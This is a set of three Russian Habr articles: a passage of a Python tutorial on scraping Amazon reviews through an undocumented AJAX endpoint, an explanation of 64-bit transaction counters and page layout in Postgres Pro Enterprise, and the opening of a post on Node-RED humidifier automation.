Этот формат непохож на HTML, JavaScript или JSON, но обладает очень понятным шаблоном. Позже я покажу, как мы можем использовать код на Python для его парсинга, несмотря на странность этого формата.
После первоначальной подготовки настала пора перейти к коду. Вы можете запросто писать код для запросов на любимом языке программирования.
Для экономии времени я люблю использовать удобный конвертер cURL. Сначала я копирую запрос как cURL, дважды щёлкнув на него и выбрав «Copy as cURL» (см. скриншот выше). Затем я вставляю его в [конвертер](https://curl.trillworks.com/), чтобы получить код на Python.
**Примечание 1:** Существует множество способов выполнения этого процесса, я просто считаю данный способ наиболее простым. Если вы просто создаёте запрос с использованными заголовками и атрибутами, то это вполне нормально.
**Примечание 2:** Когда я хочу поэкспериментировать с запросами, я импортирую команду cURL внутрь Postman, чтобы можно было поиграться с запросами и понять, как работает конечная точка. Но в этом руководстве я буду выполнять всё в коде.
```
import requests
import json
from bs4 import BeautifulSoup as Soup
import time
headers = {
'authority': 'www.amazon.com',
'dnt': '1',
'rtt': '250',
'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
'content-type': 'application/x-www-form-urlencoded;charset=UTF-8',
'accept': 'text/html,*/*',
'x-requested-with': 'XMLHttpRequest',
'downlink': '6.45',
'ect': '4g',
'origin': 'https://www.amazon.com',
'sec-fetch-site': 'same-origin',
'sec-fetch-mode': 'cors',
'sec-fetch-dest': 'empty',
'referer': 'https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/product-reviews/0132350882/ref=cm_cr_arp_d_viewopt_srt?ie=UTF8&reviewerType=all_reviews&sortBy=recent&pageNumber=1',
}
post_data = {
'sortBy': 'recent',
'reviewerType': 'all_reviews',
'formatType': '',
'mediaType': '',
'filterByStar': '',
'pageNumber': '1',
'filterByLanguage': '',
'filterByKeyword': '',
'shouldAppend': 'undefined',
'deviceType': 'desktop',
'canShowIntHeader': 'undefined',
'reftag': 'cm_cr_getr_d_paging_btm_next_2',
'pageSize': '10',
'asin': '0132350882',
'scope': 'reviewsAjax1'
}
response = requests.post('https://www.amazon.com/hz/reviews-render/ajax/reviews/get/ref=cm_cr_arp_d_paging_btm_next_2',
headers=headers, data=post_data)
```
Давайте разберём, что здесь происходит. Я взял заголовки и тело post из запроса в браузере. Удалил ненужные заголовки и сохранил те, благодаря которым запрос выглядит реальным. Самый важный заголовок, о котором никогда нельзя забывать — это `User-Agent`. Без `User-Agent` ожидайте частого блокирования.
В данных, передаваемых в запросе post, мы передаём язык, ID продукта, предпочтительную сортировку и пару других параметров, которые я на буду здесь объяснять. Легко понять, какой способ сортировки нужно передать, поиграв с фильтрами на странице продукта и изучив, как изменяется запрос. Пагинация проста, она задаёт `pageSize` и `pageNumber`, назначение которых понятно из названий. Если пагинация непонятна, то можно поэкспериментировать со страницей и посмотреть, как меняются запросы.
В данных post мы передаём большинство параметров в неизменном виде. Вот одни из самых важных параметров:
* `pageNumber`: номер текущей страницы
* `pageSize`: количество результатов на страницу
* `asin`: ID продукта
* `sortBy`: активный тип сортировки
Названия параметров `pageNumber` и `pageSize` говорят сами за себя. Мы разберёмся, как работает сортировка, меняя её тип на реальной странице и наблюдая за изменениями запросов на вкладке Network. ID продукта (`asin`) можно найти в ссылке на страницу, он выделен жирным:
> [https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/**0132350882**/#customerReviews](https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882/#customerReviews)
Чтобы понять, что делает каждый параметр в недокументированном API, нужно вызвать обновления страницы и понаблюдать за изменениями каждого из параметров.
Важное примечание о `pageSize`: этот параметр позволяет нам снизить количество запросов, необходимых для получения нужной информации. Однако обычно никакой API не позволяет вводить произвольный размер страницы. Поэтому я начал с 10 и добрался до 20, после чего количество результатов перестало увеличиваться. То есть максимальный размер страницы равен 20, его мы и используем.
**Примечание:** При использовании нестандартных размеров страниц вы упрощаете веб-сайту задачу вашей блокировки, поэтому будьте аккуратнее.
Следующий шаг — понять, как работает пагинация и циклическая передача запросов. Существует три основных способа обработки пагинации:
* **Номер страницы:** при таком способе в каждом запросе передаётся номер страницы, `1` — первая страница, `2` — вторая, и т.д.
* **Смещение**: смещения тоже часто используют. Если каждая страница содержит по десять результатов, то вторая страница будет иметь смещение на десять, а третья — смещение на двадцать, пока вы не достигнете конца результатов.
* **Курсор**: ещё один распространённый способ обработки пагинации — использование курсоров. У первой страницы его нет, но ответ на первый запрос даёт нам курсор для следующего запроса, пока мы не достигнем конца.
В нашем случае для прохождения по страницам до конца API использует номер страницы. Нам нужно понять, что сообщает о конце запросов, чтобы использовать эту информацию в своём цикле.
Для этого нам нужно добраться до последней страницы и посмотреть, что произойдёт. В нашем случае простым индикатором последней страницы является отключенная кнопка «Next Page», как видно на показанном ниже скриншоте. Мы запомним это, чтобы прерывать цикл при написании кода.
Теперь давайте пройдём по всем страницам и соберём информацию. Кроме того, я покажу, как парсить фрагменты HTML при помощи Beautiful Soup 4.
```
page = 1
reviews = []
while True:
post_data['pageNumber'] = page
response = requests.post('https://www.amazon.com/hz/reviews-render/ajax/reviews/get/ref=cm_cr_arp_d_paging_btm_next_2',
headers=headers, data=post_data)
data = response.content.decode('utf-8')
for line in data.splitlines():
try:
payload = json.loads(line)
html = Soup(payload[2], features="lxml")
# Stop scraping once we reach the last page
if html.select_one('.a-disabled.a-last'):
break
review = html.select_one('.a-section.review')
if not review:
# Skip unrelated sections
continue
reviews.append({
'stars': float(review.select_one('.review-rating').text.split(' out of ')[0]),
'text': review.select_one('.review-text.review-text-content').text.replace("\n\n", "").strip(),
'date': review.select_one('.review-date').text.split(' on ')[1],
'profile_name': review.select_one('.a-profile-name').text
})
except Exception as e:
pass
print(str(len(reviews)) + ' reviews have been fetched so far on page ' + str(page))
page += 1
time.sleep(2)
```
Давайте разобьём этот код на части и посмотрим, что он делает:
```
# Мы каждый раз задаём новую страницу
post_data['pageNumber'] = page
# ...
# А в конце цикла увеличиваем счётчик страниц
page += 1
```
Итак, нам нужно разделить строки, чтобы можно было их парсить. Изучив ответ API, можно понять, что каждая строка — это или массив, или строка, содержащая `&&&`. Я решил воспользоваться принципом «лучше просить прощения, чем разрешения» и обернул каждый `json.loads` в блок try/except. Мы будем игнорировать строки `&&&` и сосредоточимся на тех, которые являются массивами JSON.
Затем мы одну за другой обработаем каждую строку. Некоторые строки относятся к верхней и нижней частям страницы и не содержат обзоров, поэтому можно их спокойно пропустить. В конце нам нужно извлечь нужную информацию из самих обзоров:
```
# Загружаем строку как JSON
payload = json.loads(line)
# Парсим HTML с помощью Beautiful Soup
html = Soup(payload[2], features="lxml")
# Прекращаем скрапить, когда достигнем последней страницы
if html.select_one('.a-disabled.a-last'):
break
review = html.select_one('.a-section.review')
# Если раздел обзоров не найден, мы переходим к следующей строке
if not review:
continue
```
Теперь настало время объяснить, как можно парсить тексты из HTML, для чего потребуется знание селекторов CSS и простейшей обработки.
```
reviews.append({
# Для получения количества звёзд мы разделяем текст, в котором, например, написано "1.0 out of 5" и просто сохраняем первое число
'stars': float(review.select_one('.review-rating').text.split(' out of ')[0]),
# Текст извлекается легко, но нам нужно избавиться от окружающих его новых строк и пробелов
'text': review.select_one('.review-text.review-text-content').text.replace("\n\n", "").strip(),
# Для получения даты нужно провести такое же простое разделение
'date': review.select_one('.review-date').text.split(' on ')[1],
# А имя профиля - это простой селектор
'profile_name': review.select_one('.a-profile-name').text
})
```
Я не буду вдаваться в подробности, моя задача — объяснить процесс, а не конкретную реализацию с Beautiful Soup или Python. Этот процесс можно повторить на любом языке программирования.
Текущая версия кода обходит страницы и извлекает звёзды, имя профиля, дату и комментарий из каждого обзора. Каждый обзор хранится в списке, который можно сохранить или подвергнуть дальнейшей обработке. Поскольку скрапинг запросто в любой момент может прерваться, важно часто сохранять данные и обеспечить удобный перезапуск скраперов с места, где произошёл сбой.
Если бы это был реальный пример для работы, то нужно было бы добавить довольно много других аспектов:
* Использовать более надёжное решение для скрапинга (например, scrapy), поддерживающее паралелльные запросы, прокси, конвейеры обработки и сохранения данных, а также многое другое.
* Парсить даты, чтобы иметь стандартный формат.
* Извлекать все возможные элементы данных.
* Создать систему для запуска обновлений страниц и обновления данных.
Безголовые браузеры превосходно справляются с извлечением информации с веб-сайтов, но они очень тяжелы. Они более надёжны и с меньшей вероятностью сломаются, чем доступ к недокументированным API, однако иногда работа с этими публичными API намного быстрее и удобнее, например, в таких ситуациях:
* API меняется не слишком часто
* Вам нужны данные только один раз
* Скорость очень важна
* API предоставляет больше информации, чем сама страница
Существует множество веских причин применения API для веб-скрапинга. Можно даже сказать, что этот способ более уважителен к серверу, поскольку требует меньшего количества запросов и не обязывает загружать статические ресурсы.
Не забывайте скрапить с уважением — добавляйте задержки между запросами и минимально используйте параллельные запросы к одному домену. Цель веб-скрапинга — доступ к информации и её анализ, чтобы создать на её основе что-то полезное, а не вызвать проблемы и торможение серверов.
---
#### На правах рекламы
[Серверы для парсинга](https://vdsina.ru/cloud-servers?partner=habr230) или любых других задач на базе новейших процессоров AMD EPYC. Создавайте собственную конфигурацию виртуального сервера в пару кликов.
[](https://vdsina.ru/cloud-servers?partner=habr230) | https://habr.com/ru/post/537174/ | null | ru | null |
# Устройство 64-битных счётчиков транзакций в Postgres Pro Enterprise
### Введение
Эта статья описывает реализацию 64-битных счётчиков транзакций (XID, ксидов) в СУБД [Postgres Pro Enterprise](https://postgrespro.ru/docs/enterprise/14/), которая создана на основе свободной, опенсорсной объектно–реляционной СУБД Postgres. Она ориентирована на тех, кто имеет практический опыт в работе с СУБД Postgres Pro Enterprise, но будет интересна и тем, кто интересуется развитием СУБД Postgres, так как описывает сравнение этих двух систем. Статья также описывает устройство таблиц на диске и организацию формата хранения данных отношений.
Postgres старается быть максимально гибким в конфигурации, чтобы удовлетворить запросы как можно большего числа своих пользователей. Большинство параметров, например, таких, как: размер страницы BLCKSZ (по умолчанию 8 кБ), размер сегмента SEGSIZE (по умолчанию 1 Гб), могут быть изменены при сборке Postgres.
Хотелось бы сразу обозначить, что мы будем рассматривать 64-битный вариант сборки Postgres, в котором все параметры имеют значение по умолчанию. Также мы не будем углубляться в *мультитранзакции*. Для целей этой статьи будет достаточным предположения, что они в данном контексте аналогичны "обычным" транзакциям.
Мы выложили наш вариант реализации в сообщество, а также занимаемся активным продвижением его в сообществе разработчиков Postgres. Он не на 100% идентичен коду, используемому в Postgres Pro Enterprise (в частности, там ксиды всё ещё образуют кольцо), но общая идея такая же, как изложена в статье. На текущий момент [патч ожидает ревью](https://www.postgresql.org/message-id/flat/CACG%3DezZe1NQSCnfHOr78AtAZxJZeCvxrts0ygrxYwe%3DpyyjVWA%40mail.gmail.com). Мы верим, что этот патч положительно скажется на удобстве использования и устойчивости Postgres, надеемся, что он будет принят сообществом в ближайшем будущем. Тем не менее по этому вопросу предстоит ещё много работы. Поэтому мы будем благодарны всем желающим и небезразличным за посильное участие в его развитии.
### 1. Счётчики транзакций
Рассмотрим подробнее: для чего они нужны в Postgres и какие проблемы могут возникать при их использовании.
#### 1.1. Кратко об MVCC
Сложилось такое мнение, что базы данных – это механизм хранения данных, но это не совсем верно. Базы данных не только дают возможность хранения данных, но и обеспечивают согласованный и непротиворечивый и чаще всего многопользовательский доступ к этим данным. И именно это их свойство позволяет нам организовывать сложные многопользовательские системы хранения и обработки данных. Для тех, кто глубоко интересуется этой темой, можно упомянуть, что в основе работы большинства реляционных СУБД лежит набор свойств, известный как ACID. К таким СУБД относится и Postgres. Требования ACID накладывают на транзакционную систему, которой, безусловно является СУБД, ряд требований: атомарность, согласованность, изоляция и устойчивость. К сожалению, обсуждение этих принципов не является целью сегодняшней статьи, так что придётся оставить его за рамками изложения. Но интересующиеся либо уже знают про них, либо могут легко с ними ознакомиться, благо информации по этой тематике предостаточно, в том числе и в свободном доступе. Например, в книге Егора Рогова [PostgreSQL изнутри](https://postgrespro.ru/education/books/internals), которая имеется [в свободном доступе](https://edu.postgrespro.ru/postgresql_internals-14.pdf), или в [The Internals of PostgreSQL](https://www.interdb.jp/pg/pgsql01.html) Хиронобу Сузуки (Hironobu Suzuki).
#### 1.2. Как MVCC реализовано в Postgres
В Postgres используется многоверсионный вариант протокола [изоляции](https://postgrespro.ru/docs/postgresql/15/transaction-iso) на основе снимков. В случае таблиц мы говорим не просто о строках, а о версиях строк (row versions, tuples), поскольку многоверсионность предполагает существование нескольких версий одной и той же строки ([PostgreSQL изнутри, стр. 77](https://edu.postgrespro.ru/postgresql_internals-14.pdf)). Такой механизм позволяет обходиться минимальным количеством блокировок. Фактически блокируется только повторное изменение одной и той же строки. Все остальные операции могут выполняться одновременно: пишущие транзакции никогда не блокируют читающие транзакции, а читающие вообще никогда никого не блокируют ([PostgreSQL изнутри, стр. 54](https://edu.postgrespro.ru/postgresql_internals-14.pdf)).
Данные в Postgres хранятся в виде кортежей (они же строки или записи) с добавлением некоторой служебной информации. Каждая транзакция в PostgreSQL имеет свой номер (идентификатор), называемый xid, который [является простым, 32–х битным счётчиком](https://devcenter.heroku.com/articles/postgresql-concurrency). Каждая строчка в таблице, в свою очередь, имеет, помимо прочего, два дополнительных системных поля, которые не показываются в запросах пользователей: они называются xmin и xmax. Поле xmin хранит номер транзакции, которая создала данную строку, а xmax — номер транзакции, которая её удалила (если, конечно, такое произошло). Таким образом, каждая строчка может иметь несколько версий с разной областью видимости. Такой подход к организации хранения данных называется [версионным](https://habr.com/ru/company/postgrespro/blog/301238/).
Отдельно появляется вопрос: как определить какая транзакция следует за какой? Казалось бы, в чём может быть проблема? Если счётчик транзакций (xid) – это простое беззнаковое 32–х битное число, то это значит, что какой xid меньше, такой и был создан раньше, значит он и старше. Когда–то так и было. Но при достижении максимального значения счётчика транзакции СУБД нужно было останавливать и создавать из дампа заново.
К счастью, эти времена давно ушли. Сегодня используется механизм xid [wraparound](https://postgrespro.ru/docs/postgresql/13/routine-vacuuming), который позволяет на работающем кластере запустить счётчик вновь с минимальным номером транзакции (как ни странно, но это номер 3, так как значения 0–2 зарезервированы для служебных целей) без пересоздания БД. Также вы можете ознакомиться с этим механизмом в статье [Различия Postgres Pro Enterprise и PostgreSQL](https://habr.com/ru/company/postgrespro/blog/337180/) в пункте 2. Однако платить за это приходится более сложным подходом к вычислению возраста транзакций, а также необходимостью запуска вакуума в нужный момент времени.
Итак, в начале каждой транзакции создаётся соответствующий уникальный идентификатор. Его можно вывести, используя функцию txid\_current(). Но при этом для транзакций не стоит использовать понятия "больше" и "меньше". Лучше использовать понятия "старше" и "младше". И вот почему: номера транзакций (xid) сравниваются друг с другом по модулю 232, то есть образуют кольцо. Все транзакции, отстоящие от текущей в сторону минуса на 231, считаются "в прошлом", а отстоящие на 231 в положительную сторону находятся "в будущем".
Графически это обычно изображается следующим образом:
Рис. 1 – счётчики транзакций в Postgres#### 1.3. Основные проблемы существующего решения
Когда проектировался Postgres, количество транзакций в 4 миллиарда справедливо казалось огромным. Однако в современных реальных условиях эксплуатации Postgres приходится сталкиваться с тем, что xid wraparound может наступить за три и даже за два дня (!)
В таких условиях критичными становятся два фактора: отсутствие долгих ("висящих") транзакций в БД и корректная работа вакуума (vacuum freeze, если быть точным). Если учесть, что при описанной выше транзакционной нагрузке работа последнего может занимать до дня времени, работа по администрированию Postgres в таких случаях становится довольно непростой. Достаточно упустить момент, и база будет остановлена.
В сообществе Postgres недавно обсуждался вопрос: является ли xid wraparound проблемой или нет. В целом, непосредственно сам механизм работает корректно и не является проблемой. Более того, в идеальном мире, где все механизмы отстроены и не дают сбоев, можно жить и с существующим решением. Однако для корректной работы Postgres в ситуации высокой транзакционной нагрузки нужна корректная работа нескольких разных механизмов (вакуум и xid wraparound), постоянный мониторинг параметров (например, самой старой транзакции) и незамедлительная реакция в случае увеличения разницы между самой старой транзакцией и самой новой.
#### 1.4. Переход на 64-битные транзакции
Переход на 64-битные транзакции в случае высокой транзакционной нагрузки даст гораздо большую свободу администраторам БД. Конечно, он не отменяет обязательную работу вакуума, как и необходимость слежки за долгими транзакциями и возрастом самой старой транзакции. Но он сможет сделать эту работу не такой напряжённой, дав больший запас времени и простор "для манёвра".
Идея перехода на 64-битные счётчики транзакций находит положительный отклик в сообществе разработчиков Postgres. Понимание этого важного шага уже давно пришло к людям. Вопрос только в его конкретной реализации.
Другой интересный факт, что при этом можно будет отказаться от механизма кольца ксидов по модулю 232. Расчёты показывают, что даже при транзакционной нагрузке, при которой 32–х битные ксиды переполняются за два дня, в случае 64-битных транзакций понадобятся сотни лет чтобы счётчик исчерпался. Именно так поступили в Postgres Pro Enterprise: в нём ксиды не образуют кольца, при этом используется сравнение на "больше" и "меньше", чтобы понять какая транзакция старше, а какая младше.
### 2. Варианты реализации 64-битных счётчиков транзакций
Предлагаем следующие варианты реализации 64–битных счётчиков транзакций в Postgres:
1. "честные 64-битные ксиды": замена всех счётчиков транзакций на 64-битные;
2. "через метод доступа": изменить формат страниц для конкретных таблиц, для которых пользователь считает это нужным;
3. "хранение базы": для каждой страницы хранить некоторое смещение,
относительно которого все ксиды на страницы должны быть вычислены.
Каждое из этих решений имеет как свои плюсы, так и минусы. В СУБД Postgres Pro Enterprise используется третий вариант, как самый компромиссный из всех. С одной стороны, он не требует значительного изменения формата страницы Postgres, фактически, оставляя формат кортежей на странице в оригинальном формате, с другой – нет значительного роста занимаемого дискового пространства.
### 3. Размещение на диске
Прежде, чем приступить к особенностям реализации 64-битных счётчиков транзакций в СУБД Postgres Pro Enterprise, нужно разобраться в том, как хранит данные таблиц PostgreSQL. И только после этого можно будет через сравнение понять: в чем заключается отличие СУБД Postgres от Postgres Pro Enterprise. Это изложение может показаться несколько длинным, но без него не будет понятно, какую проблему мы решаем, и почему выбрано именно такое решение.
#### 3.1. От кластера до кортежа
Итак, основной метод борьбы со сложностью – это классификация. Ещё лучше, если она является иерархической. И нам повезло, что Postgres устроен как раз таким способом.
На самом "верхнем" уровне мы имеем кластер БД, то есть некоторую область на диске, которую мы будем использовать. В SQL применяется термин «кластер каталога». С точки зрения файловой системы кластер баз данных представляет собой один каталог, в котором будут храниться все данные.
Рис. 2 – иерархия кластераЛогически кластер БД представляет собой набор баз данных, каждая из которых может состоять из таблиц, индексов и прочих объектов. В контексте данного изложения нас интересуют только таблицы (в Postgres часто в качестве синонима слова таблица используется слово heap, то есть куча) и частично индексы.
Рис. 3 – устройство таблицыТаблицы состоят из файлов–сегментов (они же heap files). Как только размер файла–сегмента исчерпывается, то создаётся новый файл и т.д. По умолчанию каждый сегмент равен 1 гигабайту, но его размер, конечно, может быть [настроен](https://postgrespro.ru/docs/postgresql/15/storage-file-layout?lang=ru). Делается это через опцию `--with-segsize` во время компиляции. Просмотр размера сегмента на работающем сервере выполняется через настройку `segment_size.`
Файлы–сегменты хранят данные в постраничном виде, по 8 килобайт. При этом, размер самой страницы можно менять. Для этого используется опция `--with-blocksize` при компиляции.
Рис. 4 – устройство страницы на дискеВ упрощённом представлении страницу можно представить следующим образом:
Рис. 4.1 – устройство страницы на диске (упрощённое)Условно внутреннее устройство страницы можно разделить на три логических блока: заголовок страницы, массив указателей на кортежи и сами кортежи. При этом, каждый кортеж неявно имеет дополнительные xmin, xmax и ctid.
Эти служебные поля можно явно просмотреть, указав в запросе:
```
postgres=# create table foo(bar int, baz boolean);
CREATE TABLE
postgres=# insert into foo(bar, baz) select val, val % 2 <> 0 from generate_series(1, 10000) as val;
INSERT 0 10000
postgres=# checkpoint;
CHECKPOINT
postgres=# select xmin, xmax, ctid, * from foo limit 4;
xmin | xmax | ctid | bar | baz
------+------+-------+-----+-----
731 | 0 | (0,1) | 1 | t
731 | 0 | (0,2) | 2 | f
731 | 0 | (0,3) | 3 | t
731 | 0 | (0,4) | 4 | f
(4 rows)
postgres=# create extension pageinspect;
CREATE EXTENSION
postgres=# select * from page_header(get_raw_page('foo', 0));
lsn | checksum | flags | lower | upper | special | pagesize | version | prune_xid
-----------+----------+-------+-------+-------+---------+----------+---------+-----------
0/19B64D0 | 0 | 4 | 928 | 960 | 8192 | 8192 | 4 | 0
(1 row)
```
Служебную информацию из заголовка страницы можно просмотреть, воспользовавшись контрибом (то есть [дополнительно поставляемым модулем](https://postgrespro.ru/docs/postgresql/15/contrib)) [pageinspect](https://postgrespro.ru/docs/postgresql/15/pageinspect):
```
postgres=# SELECT oid::regclass AS table, relpages FROM pg_class WHERE relname = 'foo';
table | relpages
-------+----------
foo | 45
(1 row)
postgres=# create extension pageinspect;
CREATE EXTENSION
postgres=# select * from page_header(get_raw_page('foo', 0));
lsn | checksum | flags | lower | upper | special | pagesize | version | prune_xid
-----------+----------+-------+-------+-------+---------+----------+---------+-----------
0/19B64D0 | 0 | 4 | 928 | 960 | 8192 | 8192 | 4 | 0
(1 row)
postgres=# select * from page_header(get_raw_page('foo', 44));
lsn | checksum | flags | lower | upper | special | pagesize | version | prune_xid
-----------+----------+-------+-------+-------+---------+----------+---------+-----------
0/1A4F770 | 0 | 4 | 248 | 6400 | 8192 | 8192 | 4 | 0
(1 row)
```
Также интересно посмотреть на статистику по кортежам, и для этого воспользуемся контрибом [pgstattuple](https://postgrespro.ru/docs/postgresql/15/pgstattuple):
```
postgres=# create extension pgstattuple;
CREATE EXTENSION
postgres=# \x
Expanded display is on.
postgres=# SELECT * FROM pgstattuple('foo');
-[ RECORD 1 ]------+-------
table_len | 368640
tuple_count | 10000
tuple_len | 290000
tuple_percent | 78.67
dead_tuple_count | 0
dead_tuple_len | 0
dead_tuple_percent | 0
free_space | 7380
free_percent | 2
```
Получается интересная ситуация: хотя сами данные занимают 5 байт (4 байта на поле типа int и 1 байт на поле boolean), сам кортеж занимает 29 байт. Тут нет никакой загадки: 24 байта – это служебная информация кортежа и 5 байт самих данных пользователя. Естественно, это вырожденный случай, и в реальных условиях не часто может встречаться таблица из малого количества полей, но большая по размеру. Эту особенность стоит учитывать при проектировании больших баз данных.
#### 3.2. Переход на 64-битные счётчики транзакций
Теперь давайте посмотрим как изменился формат страницы в Postgres Pro Enterprise при добавлении 64-битных счётчиков транзакций.
Рис. 5 – устройство страницы на диске в Postgres Pro EnterpriseВидно, что размер кортежей на странице остался такой же, какой был в PostgreSQL. Для реализации 64-битных счётчиков транзакций в Postgres Pro Enterprise в конец каждой страницы таблицы (если точнее, то на страницу кучи) добавлена "специальная" область. Размер её 24 байта. Подобный механизм не уникален, он используется уже в некоторых индексах. Видно, что размер кортежей на странице остался такой же, как в PostgreSQL. Это важно, в том смысле, что страница остаётся в "оригинальном" формате, и переупаковки кортежей при обновлении с PostgreSQL на Postgres Pro Enterprise не требуется. В самой этой области находится общая информация для всех кортежей на странице:
```
/*
* HeapPageSpecialData -- data that stored at the end of each heap page.
*
* pd_xid_base - base value for transaction IDs on page
* pd_multi_base - base value for multixact IDs on page
* pd_prune_xid - oldest XID among potentially prunable tuples on page.
* pd_magic - magic number identifies type of page
*
* pd_prune_xid is a hint field that helps determine whether pruning will be
* useful. It is currently unused in index pages.
*
* pd_xid_base and pd_multi_base are base values for calculation of transaction
* identifiers from t_xmin and t_xmax in each heap tuple header on the page.
*
* pd_magic allows identified an type of object heap page belongs to.
* Currently, heap page may belong to an regular table heap or sequence heap.
*/
typedef struct HeapPageSpecialData
{
TransactionId pd_xid_base; /* base value for transaction IDs on page */
TransactionId pd_multi_base; /* base value for multixact IDs on page */
ShortTransactionId pd_prune_xid; /* oldest prunable XID, or zero if none */
uint32 pd_magic; /* magic number identifies type of page */
} HeapPageSpecialData;
```
Выполним такую же последовательность команд, как в предыдущем разделе:
```
postgres=# create table foo(bar int, baz boolean);
CREATE TABLE
postgres=# insert into foo(bar, baz) select val, val % 2 <> 0 from generate_series(1, 10000) as val;
INSERT 0 10000
postgres=# checkpoint;
CHECKPOINT
postgres=# select xmin, xmax, ctid, * from foo limit 4;
xmin | xmax | ctid | bar | baz
------+------+-------+-----+-----
753 | 0 | (0,1) | 1 | t
753 | 0 | (0,2) | 2 | f
753 | 0 | (0,3) | 3 | t
753 | 0 | (0,4) | 4 | f
(4 rows)
postgres=# create extension pageinspect;
CREATE EXTENSION
postgres=# select * from page_header(get_raw_page('foo', 0));
lsn | checksum | flags | lower | upper | special | pagesize | version | prune_xid
-----------+----------+-------+-------+-------+---------+----------+---------+-----------
0/182C868 | 0 | 4 | 924 | 936 | 8168 | 8192 | 254 | 750
(1 row)
```
Легко заметить, что добавилась "специальная область" размером 24 байта. В рамках заметки нас интересуют только `pd_xid_base` и `pd_multi_base.`При этом, можно отметить, что транзакции и *мультитранзакции* – это два совершенно разных механизма в Postgres, каждый из них имеет свой "счётчик", поэтому для них используются две разные базы. Более детально про механизм мультритранзакций можно узнать в [PostgreSQL изнутри, стр. 253](https://edu.postgrespro.ru/postgresql_internals-14.pdf).
#### 3.3. Вычисление ксидов для кортежей
Теперь необходимо пояснить, как происходит вычисление 64-битных значений полей xmax и xmin для каждого из кортежей на странице. Это происходит следующим образом:
Рис. 6 – устройство страницы на диске в Postgres Pro EnterpriseВ случае, если для транзакции установлен признак мультитранзакции, используется поле `pd_multi_base.` Остальные вычисления происходят аналогичным образом.
Внимательный читатель уже хочет спросить: если xmin и xmax в кортеже остались 32–битные, то получается что на одной странице нельзя разместить данные с транзакций, отстоящих друг от друга больше, чем на 232? Да, это так. С одной стороны, для большинства старых кортежей при условии работы автовакуума будет выставлен признак заморозки, то есть для них не будет проверяться само значение xmin. С другой стороны – мы уже работаем над устранением этого ограничения. И, возможно, мы сможем от него избавиться в ближайшее время.
#### 3.4. Дисковое представление страниц отношений
Postgres Pro Enterprise размещает на heap страницах (т.е. на страницах таблиц) специальную область, которая называется special. В ней находится дополнительная информация, называемой "базой", которая позволяет вычислить 64-битные значения полей xmax и xmin для каждого из кортежей на странице. Это позволяет соблюсти баланс между увеличением размера хранимой информации и желанием получить 64-битные транзакции.
### 4. Обновления с Postgres до Postgres Pro Enterprise
Учитывая то, что формат страниц кучи меняется незначительно, возникает вопрос: возможно или нет обновление с PostgreSQL до Postgres Pro Enterprise?
#### 4.1. Возможно? Да!
Да, обновление возможно! Оно выполняется с помощью стандартной утилиты обновления [pg\_upgrade](https://postgrespro.ru/docs/postgresql/15/pgupgrade). Далее страницы хипа "лениво" конвертируются в новый формат 64-битных счётчиков транзакций.
#### 4.2. Особенности обновления
Первое, что важно знать: после такого обновления текущий счётчик будет 232. Это делается для того, чтобы любая новая транзакция была младше любой старой (учитывая возможный wraparound).
Вторая особенность: как поступить в случае, если на странице не хватает места? Что делать, если специальную область не получается разместить на странице даже после удаления "мёртвых" кортежей и последующей переупаковки? В этом случае используется механизм, получивший название "double xmax". Суть его довольно проста: если мы не можем изменить страницу, тогда и не будем это делать. Зато xmin в кортежах на такой странице уже не имеет значения, потому что все данные заведомо "заморожены", и мы можем смело использовать поле xmin для хранения недостающей части 64-битного xmax.
Конечно, это довольно поверхностное изложение. Настоящий механизм учитывает множество разных нюансов и особенностей. Но общая идея именно такова.
### Выводы
В Postgres Pro Enterprise используются 64-битные счётчики транзакций. Данная статья описывает базовый механизм их работы, не углубляясь в детали реализации.
Переход на 64-битные ксиды позволил СУБД Postgres Pro Enterprise эффективно функционировать в системах с высокой транзакционной нагрузкой, упростив в этом смысле администрирование. | https://habr.com/ru/post/707968/ | null | ru | null |
# Простое (не очень) увлажнение квартиры
Начал я плавно переводить громоздкие автоматизации из Home Assistant в NodeRED, и хочу поделиться своим вариантом решения управления увлажнителем. Задача на первый взгляд простая (включи да выключи), но со временем к ней добавилось довольно много дополнительных условий, поэтому статья **¯\\_(ツ)\_/¯**
#### Примечание
Я занимаюсь автоматизацией умного дома для других людей не первый год, и данный сценарий работы является сборником моих собственных пожеланий, а так же пожеланий и запросов наших клиентов.
### Задача
У меня трудится Smartmi Evaporative Humidifier 2- он выбран как один из лучших на основе анализа чужих обзоров и личного тестирования разных моделей разных производителей, но флоу подходит к любому многоскоростному увлажнителю с управлением из УД. Даже с односкоростным увлажнителем, при некотором изменении флоу, будет полезно. Итак, список требований, которые есть конкретно к работе увлажнителя:
1. Он не должен часто включаться и выключаться. Это раздражает слух
2. Он не должен запускаться, если недавно кондиционер работал в режиме осушения. Все таки в умном доме не должно идти соревнований между отоплением и охлаждением и т.д.
3. Он должен работать только если кто-то есть дома. Если дома никого нет, он включается лишь в экстренных случаях (влажность ниже 30%)
4. Надо не забыть про экран- мне ни к чему еще один ночник
5. Экономия ресурсов (опишу позже)
Далее, я хочу иметь дополнительные флаги, которые у меня управляют всеми климатическими автоматизациями
1. Климат-контроль (если выключен, климатическая техника самостоятельно не думает)
2. Гостевой режим (если включен, то даже при уходе из дома всех известных ему жильцов, все автоматизации работают так, будто дома кто-то есть)
3. Желаемая влажность (параметр, отвечающий за работу и вытяжек, и осушения, и увлажнения. При его изменении, реакция должна быть моментальной. Я не хочу ждать смены режима, включения или выключения устройства по 5 минут при изменении желаемой влажности)
4. Понижать скорость на ночь (не всегда ночью хочется слушать шум от приточки или увлажнителя на полную. При активации этого переключателя, максимальная скорость работы устройств становится ниже независимо от показателей текущей температуры/ влажности)
5. Задержка выключения. Вся климатическая техника выключается, если дома нет хозяев, но можно задать и задержку. Допустим, только если дома никого нет 1-2-3 часа, она выключается. Ибо если ты ушел из дома ненадолго, а вернулся в остывшую и сухую квартиру- не круто.
### Решение
Весь flowИз этих условий и родился данный флоу, который запускается каждые 5 минут, либо без ограничений по времени при изменении любого из параметров, требующих моментальной реакции.
Проверяем влажность (в моем случае это усредненная по всем датчикам влажности в квартире кроме ванной, но если увлажнителей у вас несколько, то усредненная по той зоне, для которой увлажнитель предназначен), гостевой режим, есть-ли кто-то дома (и прошло ли указанное для отключения время если нет) и давно ли работало осушение.
